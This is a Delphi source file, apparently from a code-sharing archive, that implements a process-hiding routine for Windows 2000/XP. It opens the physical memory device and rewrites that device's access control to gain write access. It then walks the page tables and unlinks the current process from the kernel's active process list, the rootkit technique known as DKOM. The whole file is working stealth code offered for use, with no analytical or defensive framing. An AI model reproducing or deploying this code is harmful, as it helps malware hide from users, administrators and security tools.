www.pudn.com > UCtrl.rar > HideProcess.pas

unit HideProcess; 
 
interface 
 
function MyHideProcess: Boolean; 
 
implementation 
 
uses 
  Windows, SysUtils, Variants, Classes, AclAPI, accCtrl; 
 
type 
  NTSTATUS = LongInt; 
 
const 
  //NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
  STATUS_INFO_LENGTH_MISMATCH = NTSTATUS($C0000004); 
  STATUS_ACCESS_DENIED = NTSTATUS($C0000022); 
  OBJ_INHERIT = $00000002; 
  OBJ_PERMANENT = $00000010; 
  OBJ_EXCLUSIVE = $00000020; 
  OBJ_CASE_INSENSITIVE = $00000040; 
  OBJ_OPENIF = $00000080; 
  OBJ_OPENLINK = $00000100; 
  OBJ_KERNEL_HANDLE = $00000200; 
  OBJ_VALID_ATTRIBUTES = $000003F2; 
 
type 
  PIO_STATUS_BLOCK = ^IO_STATUS_BLOCK; 
  IO_STATUS_BLOCK = record 
    Status: NTSTATUS; 
    FObject: DWORD; 
  end; 
 
  PUNICODE_STRING = ^UNICODE_STRING; 
  UNICODE_STRING = record 
    Length: Word; 
    MaximumLength: Word; 
    Buffer: PWideChar; 
  end; 
 
  POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES; 
  OBJECT_ATTRIBUTES = record 
    Length: DWORD; 
    RootDirectory: Pointer; 
    ObjectName: PUNICODE_STRING; 
    Attributes: DWORD; 
    SecurityDescriptor: Pointer; 
    SecurityQualityOfService: Pointer; 
  end; 
 
  TZwOpenSection = function(SectionHandle: PHandle; 
    DesiredAccess: ACCESS_MASK; 
    ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall; 
  TRTLINITUNICODESTRING = procedure(DestinationString: PUNICODE_STRING; 
    SourceString: PWideChar); stdcall; 
 
var 
  RtlInitUnicodeString: TRTLINITUNICODESTRING = nil; 
  ZwOpenSection: TZwOpenSection = nil; 
  g_hNtDLL: THandle = 0; 
  g_pMapPhysicalMemory: Pointer = nil; 
  g_hMPM: THandle = 0; 
  g_hMPM2: THandle = 0; 
  g_osvi: OSVERSIONINFO; 
  b_hide: Boolean = False; 
//--------------------------------------------------------------------------- 
 
function InitNTDLL: Boolean; 
begin 
  g_hNtDLL := LoadLibrary('ntdll.dll'); 
 
  if 0 = g_hNtDLL then 
  begin 
    Result := False; 
    exit; 
  end; 
 
  RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString'); 
  ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection'); 
 
  Result := True; 
end; 
//--------------------------------------------------------------------------- 
 
procedure CloseNTDLL; 
begin 
  if (0 <> g_hNtDLL) then 
    FreeLibrary(g_hNtDLL); 
  g_hNtDLL := 0; 
end; 
//--------------------------------------------------------------------------- 
 
procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle); 
var 
  pDacl: PACL; 
  pSD: PPSECURITY_DESCRIPTOR; 
  pNewDacl: PACL; 
  dwRes: DWORD; 
  ea: EXPLICIT_ACCESS; 
begin 
  pDacl := nil; 
  pSD := nil; 
  pNewDacl := nil; 
 
  dwRes := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pDacl, nil, pSD); 
 
  if ERROR_SUCCESS <> dwRes then 
  begin 
    if Assigned(pSD) then 
      LocalFree(Hlocal(pSD^)); 
    if Assigned(pNewDacl) then 
      LocalFree(Hlocal(pNewDacl)); 
  end; 
 
  ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS)); 
  ea.grfAccessPermissions := SECTION_MAP_WRITE; 
  ea.grfAccessMode := GRANT_ACCESS; 
  ea.grfInheritance := NO_INHERITANCE; 
  ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME; 
  ea.Trustee.TrusteeType := TRUSTEE_IS_USER; 
  ea.Trustee.ptstrName := 'CURRENT_USER'; 
 
  dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl); 
 
  if ERROR_SUCCESS <> dwRes then 
  begin 
    if Assigned(pSD) then 
      LocalFree(Hlocal(pSD^)); 
    if Assigned(pNewDacl) then 
      LocalFree(Hlocal(pNewDacl)); 
  end; 
 
  dwRes := SetSecurityInfo 
 
  (hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil); 
 
  if ERROR_SUCCESS <> dwRes then 
  begin 
    if Assigned(pSD) then 
      LocalFree(Hlocal(pSD^)); 
    if Assigned(pNewDacl) then 
      LocalFree(Hlocal(pNewDacl)); 
  end; 
 
end; 
//--------------------------------------------------------------------------- 
 
function OpenPhysicalMemory: THandle; 
var 
  Status: NTSTATUS; 
  physmemString: UNICODE_STRING; 
  Attributes: OBJECT_ATTRIBUTES; 
  PhyDirectory: DWORD; 
begin 
  g_osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFO); 
  GetVersionEx(g_osvi); 
 
  if (5 <> g_osvi.dwMajorVersion) then 
  begin 
    Result := 0; 
    exit; 
  end; 
 
  case g_osvi.dwMinorVersion of 
    0: PhyDirectory := $30000; 
    1: PhyDirectory := $39000; 
  else 
    begin 
      Result := 0; 
      exit; 
    end; 
  end; 
 
  RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory'); 
 
  Attributes.Length := sizeof(OBJECT_ATTRIBUTES); 
  Attributes.RootDirectory := nil; 
  Attributes.ObjectName := @physmemString; 
  Attributes.Attributes := 0; 
  Attributes.SecurityDescriptor := nil; 
  Attributes.SecurityQualityOfService := nil; 
 
  Status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @Attributes); 
 
  if (Status = STATUS_ACCESS_DENIED) then 
  begin 
    ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @Attributes); 
    SetPhyscialMemorySectionCanBeWrited(g_hMPM); 
    CloseHandle(g_hMPM); 
 
    Status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @Attributes); 
  end; 
 
  if not (LongInt(Status) >= 0) then 
  begin 
    Result := 0; 
    exit; 
  end; 
 
  g_pMapPhysicalMemory := MapViewOfFile(g_hMPM, 
    FILE_MAP_READ or FILE_MAP_WRITE, 0, PhyDirectory, $1000); 
 
  if (g_pMapPhysicalMemory = nil) then 
  begin 
    Result := 0; 
    exit; 
  end; 
 
  Result := g_hMPM; 
end; 
//--------------------------------------------------------------------------- 
 
function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer; 
var 
  VAddr, PGDE, PTE, PAddr, tmp: DWORD; 
begin 
  VAddr := DWORD(addr); 
//  PGDE := BaseAddress[VAddr shr 22]; 
  PGDE := PULONG(DWORD(BaseAddress) + (VAddr shr 22) * sizeof(ULONG))^; // Modify by dot. 
 
  if 0 = (PGDE and 1) then 
  begin 
    Result := nil; 
    exit; 
  end; 
 
  tmp := PGDE and $00000080; 
 
  if (0 <> tmp) then 
  begin 
    PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF); 
  end 
  else 
  begin 
    PGDE := DWORD(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000)); 
//    PTE := (PDWORD(PGDE))[(VAddr and $003FF000) shr 12]; 
    PTE := PDWORD(PGDE + ((VAddr and $003FF000) shr 12) * sizeof(DWORD))^; // Modify by dot. 
 
    if (0 = (PTE and 1)) then 
    begin 
      Result := nil; 
      exit; 
    end; 
 
    PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF); 
    UnmapViewOfFile(Pointer(PGDE)); 
  end; 
 
  Result := Pointer(PAddr); 
end; 
//--------------------------------------------------------------------------- 
 
function GetData(addr: Pointer): DWORD; 
var 
  phys, ret: DWORD; 
  tmp: PDWORD; 
begin 
  phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr))); 
  tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_READ or FILE_MAP_WRITE, 0, 
    phys and $FFFFF000, $1000)); 
 
  if (nil = tmp) then 
  begin 
    Result := 0; 
    exit; 
  end; 
 
//  ret := tmp[(phys and $FFF) shr 2]; 
  ret := PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * sizeof(DWORD))^; // Modify by dot. 
  UnmapViewOfFile(tmp); 
 
  Result := ret; 
end; 
//--------------------------------------------------------------------------- 
 
function SetData(addr: Pointer; data: DWORD): Boolean; 
var 
  phys: DWORD; 
  tmp: PDWORD; 
begin 
  phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr))); 
  tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000)); 
 
  if (nil = tmp) then 
  begin 
    Result := False; 
    exit; 
  end; 
 
//  tmp[(phys and $FFF) shr 2] := data; 
  PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * sizeof(DWORD))^ := data; // Modify by dot. 
  UnmapViewOfFile(tmp); 
 
  Result := True; 
end; 
//--------------------------------------------------------------------------- 
{long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp) 
begin 
 ExitProcess(0); 
 return 1 ; 
end } 
//--------------------------------------------------------------------------- 
 
function YHideProcess: Boolean; 
var 
  thread, process: DWORD; 
  fw, bw: DWORD; 
begin 
//  SetUnhandledExceptionFilter(exeception); 
//加载Dll 
  if (False = InitNTDLL) then 
  begin 
    Result := False; 
    exit; 
  end; 
//开辟内存 
  if (0 = OpenPhysicalMemory) then 
  begin 
    Result := False; 
    exit; 
  end; 
//创建线程 
  thread := GetData(Pointer($FFDFF124)); //kteb 
  process := GetData(Pointer(thread + $44)); //kpeb 
 
  if (0 = g_osvi.dwMinorVersion) then 
  begin 
    fw := GetData(Pointer(process + $A0)); 
    bw := GetData(Pointer(process + $A4)); 
 
    SetData(Pointer(fw + 4), bw); 
    SetData(Pointer(bw), fw); 
 
    Result := True; 
  end 
  else if (1 = g_osvi.dwMinorVersion) then 
  begin 
    fw := GetData(Pointer(process + $88)); 
    bw := GetData(Pointer(process + $8C)); 
 
    SetData(Pointer(fw + 4), bw); 
    SetData(Pointer(bw), fw); 
 
    Result := True; 
  end 
  else 
  begin 
    Result := False; 
  end; 
//关闭线程的Handle 
  CloseHandle(g_hMPM); 
  CloseNTDLL; 
end; 
 
function MyHideProcess: Boolean; 
begin 
  if not b_hide then 
  begin 
    b_hide := YHideProcess; 
  end; 
 
  Result := b_hide; 
end; 
 
end.